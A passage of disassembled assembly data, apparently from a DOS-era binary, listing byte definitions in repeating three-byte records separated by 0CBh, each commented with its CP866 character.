		db  8Bh	; ▀
		db 0A0h	; ═
		db  67h	; g
		db 0CBh	; к
		db  8Bh	; ▀
		db 0A0h	; ═
		db  68h	; h
		db 0CBh	; к
		db  8Bh	; ▀
		db 0A0h	; ═
		db  69h	; i
		db 0CBh	; к
		db  8Bh	; ▀
		db 0A0h	; ═
		db  13h	;  
		db 0CBh	; к
		db  8Bh	; ▀
		db 0A0h	; ═
		db  49h	; I
		db 0CBh	; к
		db  8Bh	; ▀
		db 0A0h	; ═
		db  4Ah	; J
		db 0CBh	; к
		db  8Bh	; ▀
		db 0A0h	; ═
		db  4Bh	; K
		db 0CBh	; к
		db  8Bh	; ▀
		db 0A1h	; ║
		db  25h	; %
		db 0CBh	; к
		db  8Bh	; ▀
		db 0E4h	; Д
		db  82h	; ┌
		db 0CBh	; к
		db  0Eh	;  
		db  6Fh	; o
		db    3	;  
		db 0CBh	; к
		db  0Eh	;  
		db  6Fh	; o
		db    5	;  
		db 0CBh	; к
		db  0Eh	;  
		db 0A8h	; ╗
		db    3	;  
		db 0CBh	; к
		db  0Eh	;  
		db  20h	;  
		db  33h	; 3
		db 0CBh	; к
		db  0Eh	;  
		db  20h	;  
		db  34h	; 4
		db 0CBh	; к
		db  8Ch	; ▄
		db    1	;  
		db  0Ah	;  
		db 0CBh	; к
		db  8Ch	; ▄
		db  81h	; │
		db    2	;  
		db 0CBh	; к
		db  8Ch	; ▄
		db  81h	; │
		db    3	;  
		db 0CBh	; к
		db  8Ch	; ▄
		db  81h	; │
		db    4	;  
		db 0CBh	; к
		db  8Ch	; ▄
		db  83h	; ┐
		db  63h	; c
		db 0CBh	; к
		db  8Dh	; █
		db    1	;  
		db    4	;  
		db 0CBh	; к
		db  8Dh	; █
		db    1	;  
		db    5	;  
		db 0CBh	; к
		db  8Dh	; █
		db  80h	; ─
		db  21h	; !
		db 0CBh	; к
		db  8Dh	; █
		db  80h	; ─
		db  22h	; "
		db 0CBh	; к
		db  8Dh	; █
		db  80h	; ─
		db  25h	; %
		db 0CBh	; к
		db  8Dh	; █
		db  80h	; ─
		db  42h	; B
		db 0CBh	; к
		db  8Dh	; █
		db  0Eh	;  
		db    1	;  
		db 0CBh	; к
		db  8Dh	; █
		db  0Fh	;  
		db 0C6h	; ф
		db 0CBh	; к
		db  8Dh	; █
		db 0A0h	; ═
		db  52h	; R
		db 0CBh	; к
		db  8Dh	; █
		db 0A0h	; ═
		db  53h	; S
		db 0CBh	; к
		db  8Dh	; █
		db 0A8h	; ╗
		db    1	;  
		db 0CBh	; к
		db  8Dh	; █
		db 0A9h	; ╘
		db  12h	;  
		db 0CBh	; к
		db  8Dh	; █
		db 0AAh	; ╙
		db    3	;  
		db 0CBh	; к
		db  8Dh	; █
		db 0ABh	; ╚
		db    1	;  
		db 0CBh	; к
		db  8Dh	; █
		db 0ADh	; ґ
		db 0BEh	; Ў
		db 0CBh	; к
		db  8Dh	; █
		db 0B8h	; ╦
		db 0FAh	; З
		db 0CBh	; к
		db  8Dh	; █
		db 0BAh	; ╨
		db    2	;  
		db 0CBh	; к
		db  8Dh	; █
		db 0C0h	; ю
		db  31h	; 1
		db 0CBh	; к
		db  8Dh	; █
		db 0C4h	; д
		db  90h	; ░
		db 0CBh	; к
		db  8Dh	; █
		db 0C7h	; г
		db    1	;  
		db 0CBh	; к
		db  8Dh	; █
		db 0C8h	; х
		db  0Ah	;  
		db 0CBh	; к
		db  8Dh	; █
		db 0CAh	; й
		db  81h	; │
		db 0CBh	; к
		db  8Dh	; █
		db 0CBh	; к
		db    1	;  
		db 0CBh	; к
		db  8Dh	; █
		db 0CEh	; н
		db  14h	;  
		db 0CBh	; к
		db  8Dh	; █
		db 0CFh	; о
		db    1	;  
		db 0CBh	; к
		db  8Dh	; █
		db 0D0h	; п
		db  81h	; │
		db 0CBh	; к
		db  8Dh	; █
		db 0D2h	; р
		db  21h	; !
		db 0CBh	; к
		db  8Dh	; █
		db 0E0h	; Ю
		db  0Bh	;  
		db 0CBh	; к
		db  8Dh	; █
		db 0E0h	; Ю
		db  0Eh	;  
		db 0CBh	; к
		db  8Dh	; █
		db 0E3h	; Ц
		db  0Bh	;  
		db 0CBh	; к
		db  8Dh	; █
		db  20h	;  
		db    2	;  
		db 0CBh	; к
		db  8Dh	; █
		db  55h	; U
		db  0Ah	;  
		db 0CBh	; к
		db  8Dh	; █
		db  55h	; U
		db  60h	; `
		db 0CBh	; к
		db  8Dh	; █
		db  59h	; Y
		db  0Bh	;  
		db 0CBh	; к
		db  8Dh	; █
		db  59h	; Y
		db    9	;  
		db 0CBh	; к
		db  8Fh	; ▐
		db 0F0h	; П
		db  0Ah	;  
		db 0CBh	; к
		db  8Fh	; ▐
		db 0F0h	; П
		db    9	;  
		db 0CBh	; к
		db  92h	; ▓
		db    6	;  
		db  5Ah	; Z
		db 0CBh	; к
		db  0Fh	;  
		db  96h	; √
		db    1	;  
		db 0CBh	; к
		db  0Fh	;  
		db 0F4h	; Т
		db  0Ah	;  
		db 0CBh	; к
		db  0Fh	;  
		db 0F4h	; Т
		db    8	;  
		db 0CBh	; к
		db  0Fh	;  
		db  44h	; D
		db  12h	;  
		db 0CBh	; к
		db  0Fh	;  
		db  5Ah	; Z
		db    3	;  
		db 0CBh	; к
		db  0Fh	;  
		db  5Ah	; Z
		db    4	;  
		db 0CBh	; к
		db  96h	; √
		db  16h	;  
		db    3	;  
		db 0CBh	; к
		db  96h	; √
		db  16h	;  
		db    4	;  
		db 0CBh	; к
		db  97h	; ≈
		db  0Fh	;  
		db    2	;  
		db 0CBh	; к
		db  97h	; ≈
		db  99h	; ≥
		db    1	;  
		db 0CBh	; к
		db  97h	; ≈
		db  99h	; ≥
		db    2	;  
		db 0CBh	; к
		db  97h	; ≈
		db  9Ah	;  
		db    2	;  
		db 0CBh	; к
		db  97h	; ≈
		db  9Ch	; °
		db  0Bh	;  
		db 0CBh	; к
		db  97h	; ≈
		db  11h	;  
		db    4	;  
		db 0CBh	; к
		db  97h	; ≈
		db 0ACh	; ╛
		db    5	;  
		db 0CBh	; к
		db  97h	; ≈
		db 0B5h	; ╣
		db  0Ah	;  
		db 0CBh	; к
		db  97h	; ≈
		db  26h	; &
		db    2	;  
		db 0CBh	; к
		db  97h	; ≈
		db  27h	; '
		db    2	;  
		db 0CBh	; к
		db  97h	; ≈
		db  27h	; '
		db    3	;  
		db 0CBh	; к
		db  97h	; ≈
		db  42h	; B
		db    3	;  
		db 0CBh	; к
		db  97h	; ≈
		db  42h	; B
		db    4	;  
		db 0CBh	; к
		db  97h	; ≈
		db  4Dh	; M
		db    2	;  
		db 0CBh	; к
		db  9Bh	; ⌡
		db  21h	; !
		db    1	;  
		db 0CBh	; к
		db  9Dh	; ²
		db    0	;  
		db  98h	; ≤
		db 0CBh	; к
		db  9Fh	; ÷
		db    0	;  
		db    1	;  
		db 0CBh	; к
		db  9Fh	; ÷
		db    0	;  
		db    2	;  
		db 0CBh	; к
		db  10h	;  
		db  87h	; ┤
		db  82h	; ┌
		db 0CBh	; к
		db  10h	;  
		db  87h	; ┤
		db  22h	; "
		db 0CBh	; к
		db  10h	;  
		db  22h	; "
		db  0Ah	;  
		db 0CBh	; к
		db  10h	;  
		db  22h	; "
		db  0Bh	;  
		db 0CBh	; к
		db  10h	;  
		db  27h	; '
		db    7	;  
		db 0CBh	; к
		db  10h	;  
		db  3Ch	; <
		db    1	;  
		db 0CBh	; к
		db  10h	;  
		db  3Ch	; <
		db  96h	; √
		db 0CBh	; к
		db 0A1h	; ║
		db  7Fh	; 
		db  83h	; ┐
		db 0CBh	; к
		db 0A1h	; ║
		db  7Fh	; 
		db 0C3h	; ц
		db 0CBh	; к
		db 0A4h	; є
		db    2	;  
		db  1Bh	;  
		db 0CBh	; к
		db 0A4h	; є
		db    2	;  
		db  1Ch	;  
		db 0CBh	; к
		db 0A5h	; ╔
		db    2	;  
		db 0F0h	; П
		db 0CBh	; к
		db 0A5h	; ╔
		db    2	;  
		db 0F1h	; Я
		db 0CBh	; к
		db 0A6h	; і
		db  53h	; S
		db  5Eh	; ^
		db 0CBh	; к
		db 0A7h	; ї
		db 0EDh	; М
		db 0C6h	; ф
		db 0CBh	; к
		db 0A7h	; ї
		db 0EDh	; М
		db 0C7h	; г
		db 0CBh	; к
		db  11h	;  
		db  67h	; g
		db    1	;  
		db 0CBh	; к
		db  11h	;  
		db  1Dh	;  
		db    1	;  
		db 0CBh	; к
		db 0ACh	; ╛
		db  0Bh	;  
		db  15h	;  
		db 0CBh	; к
		db 0ACh	; ╛
		db  0Bh	;  
		db  19h	;  
		db 0CBh	; к
		db 0B0h	; ╟
		db  1Ch	;  
		db  82h	; ┌
		db 0CBh	; к
		db 0B2h	; ╡
		db  88h	; ┬
		db 0C1h	; а
		db 0CBh	; к
		db 0B2h	; ╡
		db  88h	; ┬
		db  3Dh	; =
		db 0CBh	; к
		db 0B2h	; ╡
		db  88h	; ┬
		db  3Eh	; >
		db 0CBh	; к
		db 0B2h	; ╡
		db  88h	; ┬
		db  3Fh	; ?
		db 0CBh	; к
		db 0B2h	; ╡
		db  89h	; ┴
		db  82h	; ┌
		db 0CBh	; к
		db 0B2h	; ╡
		db  89h	; ┴
		db  47h	; G
		db 0CBh	; к
		db 0B3h	; Ё
		db  0Ah	;  
		db    4	;  
		db 0CBh	; к
		db 0B3h	; Ё
		db  16h	;  
		db  10h	;  
		db 0CBh	; к
		db 0B3h	; Ё
		db 0E1h	; А
		db    5	;  
		db 0CBh	; к
		db 0B3h	; Ё
		db  23h	; #
		db    2	;  
		db 0CBh	; к
		db 0B3h	; Ё
		db  23h	; #
		db  42h	; B
		db 0CBh	; к
		db  12h	;  
		db  94h	; ■
		db    1	;  
		db 0CBh	; к
		db  12h	;  
		db  94h	; ■
		db    3	;  
		db 0CBh	; к
		db  12h	;  
		db 0F0h	; П
		db  0Fh	;  
		db 0CBh	; к
		db  12h	;  
		db 0F0h	; П
		db    2	;  
		db 0CBh	; к
		db  12h	;  
		db  32h	; 2
		db  0Ah	;  
		db 0CBh	; к
		db  12h	;  
		db  32h	; 2
		db    5	;  
		db 0CBh	; к
		db 0B4h	; Є
		db  7Ch	; |
		db    2	;  
		db 0CBh	; к
		db 0B4h	; Є
		db  7Ch	; |
		db    3	;  
		db 0CBh	; к
		db 0B4h	; Є
		db  9Ch	; °
		db  0Bh	;  
		db 0CBh	; к
		db 0B4h	; Є
		db 0EAh	; Й
		db    1	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db    0	;  
		db    3	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  6Ch	; l
		db  0Dh	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  6Fh	; o
		db    2	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  74h	; t
		db  7Eh	; ~
		db 0CBh	; к
		db 0B5h	; ╣
		db  75h	; u
		db  7Eh	; ~
		db 0CBh	; к
		db 0B5h	; ╣
		db  81h	; │
		db    2	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  88h	; ┬
		db    2	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  93h	; ⌠
		db  0Ah	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  93h	; ⌠
		db    2	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  97h	; ≈
		db    7	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0A3h	; ё
		db    3	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0A3h	; ё
		db    4	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0B4h	; Є
		db  0Ah	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0B6h	; І
		db    2	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0BBh	; ╩
		db    2	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  14h	;  
		db  24h	; $
		db 0CBh	; к
		db 0B5h	; ╣
		db  14h	;  
		db  26h	; &
		db 0CBh	; к
		db 0B5h	; ╣
		db 0CEh	; н
		db    2	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0D1h	; я
		db    1	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0D2h	; р
		db    3	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0D3h	; с
		db    1	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0D5h	; у
		db  7Eh	; ~
		db 0CBh	; к
		db 0B5h	; ╣
		db 0D8h	; ь
		db    1	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0E0h	; Ю
		db  65h	; e
		db 0CBh	; к
		db 0B5h	; ╣
		db 0E6h	; Ф
		db    4	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0E8h	; Х
		db    2	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0EAh	; Й
		db    3	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0EFh	; О
		db    1	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  18h	;  
		db    2	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0F0h	; П
		db    1	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0F1h	; Я
		db    1	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0F4h	; Т
		db    2	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0F6h	; Ж
		db    3	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0F6h	; Ж
		db    4	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0F7h	; В
		db    1	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0FAh	; З
		db    1	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0FCh	; Э
		db  0Bh	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db 0FEh	; Ч
		db    2	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  1Ah	;  
		db  11h	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  2Ch	; ,
		db    1	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  2Dh	; -
		db  0Ah	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  30h	; 0
		db    1	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  34h	; 4
		db    1	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  34h	; 4
		db    2	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  35h	; 5
		db  82h	; ┌
		db 0CBh	; к
		db 0B5h	; ╣
		db  50h	; P
		db    3	;  
		db 0CBh	; к
		db 0B5h	; ╣
		db  53h	; S
		db  7Ch	; |
		db 0CBh	; к
		db 0B5h	; ╣
		db  5Bh	; [
		db  64h	; d
		db 0CBh	; к
		db 0B5h	; ╣
		db  5Ch	; \
		db  14h	;  
		db 0CBh	; к
		db 0BFh	; ©
		db 0A0h	; ═
		db  44h	; D
		db 0CBh	; к
		db 0BFh	; ©
		db 0A0h	; ═
		db  53h	; S
		db 0CBh	; к
		db 0BFh	; ©
		db 0C0h	; ю
		db  0Ah	;  
		db 0CBh	; к
		db 0BFh	; ©
		db 0C0h	; ю
		db    5	;  
		db 0CBh	; к
		db 0BFh	; ©
		db 0C0h	; ю
		db    6	;  
		db 0CBh	; к
		db    2	;  
		db  7Ah	; z
		db  44h	; D
		db 0CBh	; к
		db    2	;  
		db  87h	; ┤
		db    1	;  
		db 0CBh	; к
		db    2	;  
		db 0C0h	; ю
		db  7Ch	; |
		db 0CBh	; к
		db    2	;  
		db 0C0h	; ю
		db  5Eh	; ^
		db 0CBh	; к
		db    2	;  
		db 0C0h	; ю
		db  5Fh	; _
		db 0CBh	; к
		db    2	;  
		db 0C1h	; а
		db  7Bh	; {
		db 0CBh	; к
		db    2	;  
		db 0C1h	; а
		db  7Ch	; |
		db 0CBh	; к
		db    2	;  
		db  4Bh	; K
		db  0Ch	;  
		db 0CBh	; к
		db    2	;  
		db  4Bh	; K
		db    2	;  
		db 0CBh	; к
		db 0CAh	; й
		db  42h	; B
		db  15h	;  
		db 0CBh	; к
		db 0CAh	; й
		db  42h	; B
		db  16h	;  
		db 0CBh	; к
		db  15h	;  
		db  68h	; h
		db  21h	; !
		db 0CBh	; к
		db  15h	;  
		db  68h	; h
		db  22h	; "
		db 0CBh	; к
		db  15h	;  
		db  69h	; i
		db  21h	; !
		db 0CBh	; к
		db  15h	;  
		db  69h	; i
		db  46h	; F
		db 0CBh	; к
		db  15h	;  
		db  6Bh	; k
		db    1	;  
		db 0CBh	; к
		db  15h	;  
		db  6Bh	; k
		db    6	;  
		db 0CBh	; к
		db  15h	;  
		db  7Eh	; ~
		db  0Ah	;  
		db 0CBh	; к
		db  15h	;  
		db  7Fh	; 
		db  64h	; d
		db 0CBh	; к
		db  15h	;  
		db  7Fh	; 
		db  63h	; c
		db 0CBh	; к
		db  15h	;  
		db  86h	; ├
		db  14h	;  
		db 0CBh	; к
		db  15h	;  
		db  0Fh	;  
		db    2	;  
		db 0CBh	; к
		db  15h	;  
		db  0Fh	;  
		db    3	;  
		db 0CBh	; к
		db  15h	;  
		db  1Eh	;  
		db  7Ch	; |
		db 0CBh	; к
		db  15h	;  
		db  1Eh	;  
		db  7Dh	; }
		db 0CBh	; к
		db  15h	;  
		db  25h	; %
		db  12h	;  
		db 0CBh	; к
		db  15h	;  
		db  2Fh	; /
		db    1	;  
		db 0CBh	; к
		db  15h	;  
		db  54h	; T
		db    1	;  
		db 0CBh	; к
		db  15h	;  
		db  55h	; U
		db    1	;  
		db 0CBh	; к
		db  15h	;  
		db    9	;  
		db    1	;  
		db 0CBh	; к
		db  16h	;  
		db  65h	; e
		db    1	;  
		db 0CBh	; к
		db  16h	;  
		db  65h	; e
		db    2	;  
		db 0CBh	; к
		db  16h	;  
		db  0Fh	;  
		db  82h	; ┌
		db 0CBh	; к
		db  16h	;  
		db  10h	;  
		db 0C1h	; а
		db 0CBh	; к
		db  16h	;  
		db  11h	;  
		db  93h	; ⌠
		db 0CBh	; к
		db  16h	;  
		db 0B8h	; ╦
		db  0Ah	;  
		db 0CBh	; к
		db  16h	;  
		db 0B8h	; ╦
		db  1Ah	;  
		db 0CBh	; к
		db  16h	;  
		db 0CAh	; й
		db  81h	; │
		db 0CBh	; к
		db  16h	;  
		db 0CAh	; й
		db  82h	; ┌
		db 0CBh	; к
		db  16h	;  
		db 0F7h	; В
		db  41h	; A
		db 0CBh	; к
		db  16h	;  
		db    8	;  
		db 0E5h	; Е
		db 0CBh	; к
		db  17h	;  
		db  8Bh	; ▀
		db  0Ah	;  
		db 0CBh	; к
		db  17h	;  
		db 0A7h	; ї
		db    1	;  
		db 0CBh	; к
		db  17h	;  
		db  2Ch	; ,
		db    7	;  
		db 0CBh	; к
		db 0E8h	; Х
		db  7Fh	; 
		db    1	;  
		db 0CBh	; к
		db 0E9h	; И
		db 0CAh	; й
		db  21h	; !
		db 0CBh	; к
		db 0E9h	; И
		db 0CDh	; м
		db  21h	; !
		db 0CBh	; к
		db 0EBh	; К
		db  81h	; │
		db    1	;  
		db 0CBh	; к
		db 0EFh	; О
		db  82h	; ┌
		db    1	;  
		db 0CBh	; к
		db 0EFh	; О
		db  83h	; ┐
		db    1	;  
		db 0CBh	; к
		db  18h	;  
		db  64h	; d
		db  16h	;  
		db 0CBh	; к
		db  18h	;  
		db  64h	; d
		db  17h	;  
		db 0CBh	; к
		db 0F0h	; П
		db 0C1h	; а
		db  0Bh	;  
		db 0CBh	; к
		db 0F1h	; Я
		db  76h	; v
		db    1	;  
		db 0CBh	; к
		db 0F1h	; Я
		db  84h	; └
		db  22h	; "
		db 0CBh	; к
		db 0F1h	; Я
		db  84h	; └
		db  55h	; U
		db 0CBh	; к
		db 0F1h	; Я
		db  87h	; ┤
		db  87h	; ┤
		db 0CBh	; к
		db 0F1h	; Я
		db 0A8h	; ╗
		db    8	;  
		db 0CBh	; к
		db 0F1h	; Я
		db 0B0h	; ╟
		db  0Dh	;  
		db 0CBh	; к
		db 0F1h	; Я
		db 0D8h	; ь
		db    5	;  
		db 0CBh	; к
		db 0F1h	; Я
		db 0DCh	; э
		db  0Ah	;  
		db 0CBh	; к
		db 0F1h	; Я
		db 0FAh	; З
		db  0Bh	;  
		db 0CBh	; к
		db 0F1h	; Я
		db  34h	; 4
		db  64h	; d
		db 0CBh	; к
		db 0F1h	; Я
		db  54h	; T
		db  0Ah	;  
		db 0CBh	; к
		db 0F1h	; Я
		db    9	;  
		db  81h	; │
		db 0CBh	; к
		db 0F4h	; Т
		db  73h	; s
		db  23h	; #
		db 0CBh	; к
		db 0F5h	; У
		db  0Fh	;  
		db    9	;  
		db 0CBh	; к
		db 0F8h	; Ь
		db 0F0h	; П
		db  8Dh	; █
		db 0CBh	; к
		db 0F8h	; Ь
		db 0F0h	; П
		db  1Fh	;  
		db 0CBh	; к
		db 0FBh	; Ш
		db 0C9h	; и
		db    1	;  
		db 0CBh	; к
		db 0FBh	; Ш
		db 0D3h	; с
		db    1	;  
		db 0CBh	; к
		db 0FFh	;  
		db  70h	; p
		db  22h	; "
		db 0CBh	; к
		db 0FFh	;  
		db  70h	; p
		db    4	;  
		db 0CBh	; к
		db  1Ah	;  
		db  78h	; x
		db    3	;  
		db 0CBh	; к
		db  1Ah	;  
		db 0C7h	; г
		db    1	;  
		db 0CBh	; к
		db  1Ah	;  
		db 0C7h	; г
		db  0Fh	;  
		db 0CBh	; к
		db  1Bh	;  
		db 0E2h	; Б
		db  41h	; A
		db 0CBh	; к
		db  1Bh	;  
		db  5Ch	; \
		db  0Ah	;  
		db 0CBh	; к
		db  1Ch	;  
		db 0EAh	; Й
		db    4	;  
		db 0CBh	; к
		db  1Ch	;  
		db 0EAh	; Й
		db    5	;  
		db 0CBh	; к
		db  1Eh	;  
		db 0EDh	; М
		db    2	;  
		db 0CBh	; к
		db  1Eh	;  
		db 0EDh	; М
		db    3	;  
		db 0CBh	; к
		db  1Fh	;  
		db  65h	; e
		db    5	;  
		db 0CBh	; к
		db  1Fh	;  
		db  7Dh	; }
		db    1	;  
		db 0CBh	; к
		db  1Fh	;  
		db  7Dh	; }
		db    2	;  
		db 0CBh	; к
		db  1Fh	;  
		db  7Eh	; ~
		db    2	;  
		db 0CBh	; к
		db  1Fh	;  
		db  7Fh	; 
		db    1	;  
		db 0CBh	; к
		db  1Fh	;  
		db 0A0h	; ═
		db    1	;  
		db 0CBh	; к
		db  1Fh	;  
		db 0BFh	; ©
		db  32h	; 2
		db 0CBh	; к
		db  1Fh	;  
		db 0C6h	; ф
		db 0D2h	; р
		db 0CBh	; к
		db  1Fh	;  
		db 0D8h	; ь
		db    1	;  
		db 0CBh	; к
		db  1Fh	;  
		db 0D8h	; ь
		db    5	;  
		db 0CBh	; к
		db  1Fh	;  
		db 0EEh	; Н
		db    1	;  
		db 0CBh	; к
		db  1Fh	;  
		db 0EEh	; Н
		db    2	;  
		db 0CBh	; к
		db  1Fh	;  
		db 0FCh	; Э
		db  0Bh	;  
		db 0CBh	; к
		db  1Fh	;  
		db 0FCh	; Э
		db  0Ch	;  
		db 0CBh	; к
		db  1Fh	;  
		db 0FEh	; Ч
		db  12h	;  
		db 0CBh	; к
		db  1Fh	;  
		db 0FEh	; Ч
		db  1Ch	;  
		db 0CBh	; к
		db  1Fh	;  
		db  28h	; (
		db    1	;  
		db 0CBh	; к
		db  1Fh	;  
		db  2Ah	; *
		db  0Ah	;  
		db 0CBh	; к
		db  1Fh	;  
		db  2Ah	; *
		db  1Ah	;  
		db 0CBh	; к
		db  1Fh	;  
		db  30h	; 0
		db    7	;  
		db 0CBh	; к
		db  1Fh	;  
		db  49h	; I
		db    1	;  
		db 0CBh	; к
		db  1Fh	;  
		db  4Fh	; O
		db  3Ch	; <
		db 0CBh	; к
		db  1Fh	;  
		db  60h	; `
		db    1	;  
		db 0CBh	; к
		db  1Fh	;  
		db  63h	; c
		db    1	;  
		db 0CBh	; к
		db  1Fh	;  
		db  63h	; c
		db    2	;  
		db 0CBh	; к
		db  20h	;  
		db  99h	; ≥
		db  45h	; E
		db 0CBh	; к
		db  20h	;  
		db 0A0h	; ═
		db  0Ah	;  
		db 0CBh	; к
		db  20h	;  
		db 0A1h	; ║
		db 0ECh	; Л
		db 0CBh	; к
		db  20h	;  
		db 0A6h	; і
		db  0Ah	;  
		db 0CBh	; к
		db  21h	; !
		db  10h	;  
		db  0Ah	;  
		db 0CBh	; к
		db  23h	; #
		db 0A8h	; ╗
		db  7Eh	; ~
		db 0CBh	; к
		db  23h	; #
		db  12h	;  
		db    1	;  
		db 0CBh	; к
		db  23h	; #
		db  12h	;  
		db    2	;  
		db 0CBh	; к
		db  23h	; #
		db 0B6h	; І
		db    7	;  
		db 0CBh	; к
		db  23h	; #
		db 0B6h	; І
		db    9	;  
		db 0CBh	; к
		db  23h	; #
		db  53h	; S
		db    2	;  
		db 0CBh	; к
		db  23h	; #
		db  53h	; S
		db    3	;  
		db 0CBh	; к
		db  25h	; %
		db 0EDh	; М
		db    2	;  
		db 0CBh	; к
		db  25h	; %
		db 0FFh	;  
		db  61h	; a
		db 0CBh	; к
		db  29h	; )
		db  0Ah	;  
		db  2Bh	; +
		db 0CBh	; к
		db  29h	; )
		db  0Ah	;  
		db  2Fh	; /
		db 0CBh	; к
		db  29h	; )
		db 0ABh	; ╚
		db    2	;  
		db 0CBh	; к
		db  29h	; )
		db 0ABh	; ╚
		db    3	;  
		db 0CBh	; к
		db  29h	; )
		db 0DCh	; э
		db  1Eh	;  
		db 0CBh	; к
		db  29h	; )
		db 0DFh	; ъ
		db  0Ah	;  
		db 0CBh	; к
		db  29h	; )
		db 0DFh	; ъ
		db  14h	;  
		db 0CBh	; к
		db  29h	; )
		db  19h	;  
		db    1	;  
		db 0CBh	; к
		db  29h	; )
		db  19h	;  
		db    2	;  
		db 0CBh	; к
		db  29h	; )
		db  2Ch	; ,
		db  14h	;  
		db 0CBh	; к
		db  29h	; )
		db  35h	; 5
		db    5	;  
		db 0CBh	; к
		db  29h	; )
		db  4Fh	; O
		db    1	;  
		db 0CBh	; к
		db  29h	; )
		db  4Fh	; O
		db    3	;  
		db 0CBh	; к
		db  2Ah	; *
		db 0D6h	; ж
		db  62h	; b
		db 0CBh	; к
		db  2Bh	; +
		db  41h	; A
		db  52h	; R
		db 0CBh	; к
		db    5	;  
		db  0Ah	;  
		db  0Ah	;  
		db 0CBh	; к
		db    5	;  
		db  77h	; w
		db  33h	; 3
		db 0CBh	; к
		db    5	;  
		db 0D9h	; ы
		db    4	;  
		db 0CBh	; к
		db    5	;  
		db  49h	; I
		db    2	;  
		db 0CBh	; к
		db  32h	; 2
		db    0	;  
		db  89h	; ┴
		db 0CBh	; к
		db  32h	; 2
		db    0	;  
		db  18h	;  
		db 0CBh	; к
		db  37h	; 7
		db  90h	; ░
		db    1	;  
		db 0CBh	; к
		db  37h	; 7
		db  46h	; F
		db 0FEh	; Ч
		db 0CBh	; к
		db  37h	; 7
		db  63h	; c
		db  37h	; 7
		db 0CBh	; к
		db  37h	; 7
		db  63h	; c
		db  63h	; c
		db 0CBh	; к
		db  38h	; 8
		db 0BAh	; ╨
		db    7	;  
		db 0CBh	; к
		db  38h	; 8
		db 0E9h	; И
		db  78h	; x
		db 0CBh	; к
		db  39h	; 9
		db  18h	;  
		db    4	;  
		db 0CBh	; к
		db  3Ah	; :
		db  7Eh	; ~
		db  17h	;  
		db 0CBh	; к
		db  3Bh	; ;
		db  18h	;  
		db    2	;  
		db 0CBh	; к
		db  3Ch	; <
		db    1	;  
		db    2	;  
		db 0CBh	; к
		db  3Ch	; <
		db    1	;  
		db    9	;  
		db 0CBh	; к
		db  3Dh	; =
		db  7Fh	; 
		db  0Bh	;  
		db 0CBh	; к
		db  3Dh	; =
		db  86h	; ├
		db    2	;  
		db 0CBh	; к
		db  3Dh	; =
		db  8Eh	; ▌
		db    2	;  
		db 0CBh	; к
		db  3Dh	; =
		db  8Eh	; ▌
		db    4	;  
		db 0CBh	; к
		db  3Dh	; =
		db  9Bh	; ⌡
		db  6Fh	; o
		db 0CBh	; к
		db  3Eh	; >
		db 0B4h	; Є
		db  14h	;  
		db 0CBh	; к
		db  3Fh	; ?
		db 0A4h	; є
		db    3	;  
		db 0CBh	; к
		db  3Fh	; ?
		db 0FBh	; Ш
		db    3	;  
		db 0CBh	; к
		db  3Fh	; ?
		db  4Dh	; M
		db    1	;  
		db 0CBh	; к
		db  40h	; @
		db  77h	; w
		db    1	;  
		db 0CBh	; к
		db  40h	; @
		db  8Ah	; ┼
		db    8	;  
		db 0CBh	; к
		db  40h	; @
		db  1Ah	;  
		db    1	;  
		db 0CBh	; к
		db  40h	; @
		db  1Ah	;  
		db    3	;  
		db 0CBh	; к
		db  40h	; @
		db    3	;  
		db 0B1h	; ╠
		db 0CBh	; к
		db  40h	; @
		db  30h	; 0
		db 0FDh	; Щ
		db 0CBh	; к
		db  42h	; B
		db 0F6h	; Ж
		db    1	;  
		db 0CBh	; к
		db  45h	; E
		db 0D9h	; ы
		db  23h	; #
		db 0CBh	; к
		db  45h	; E
		db  5Dh	; ]
		db  82h	; ┌
		db 0CBh	; к
		db    7	;  
		db 0C6h	; ф
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db  64h	; d
		db 0FAh	; З
		db 0CBh	; к
		db  47h	; G
		db  66h	; f
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db  76h	; v
		db 0FBh	; Ш
		db 0CBh	; к
		db  47h	; G
		db  8Dh	; █
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db  8Eh	; ▌
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db  8Fh	; ▐
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db  90h	; ░
		db    1	;  
		db 0CBh	; к
		db  47h	; G
		db  91h	; ▒
		db  64h	; d
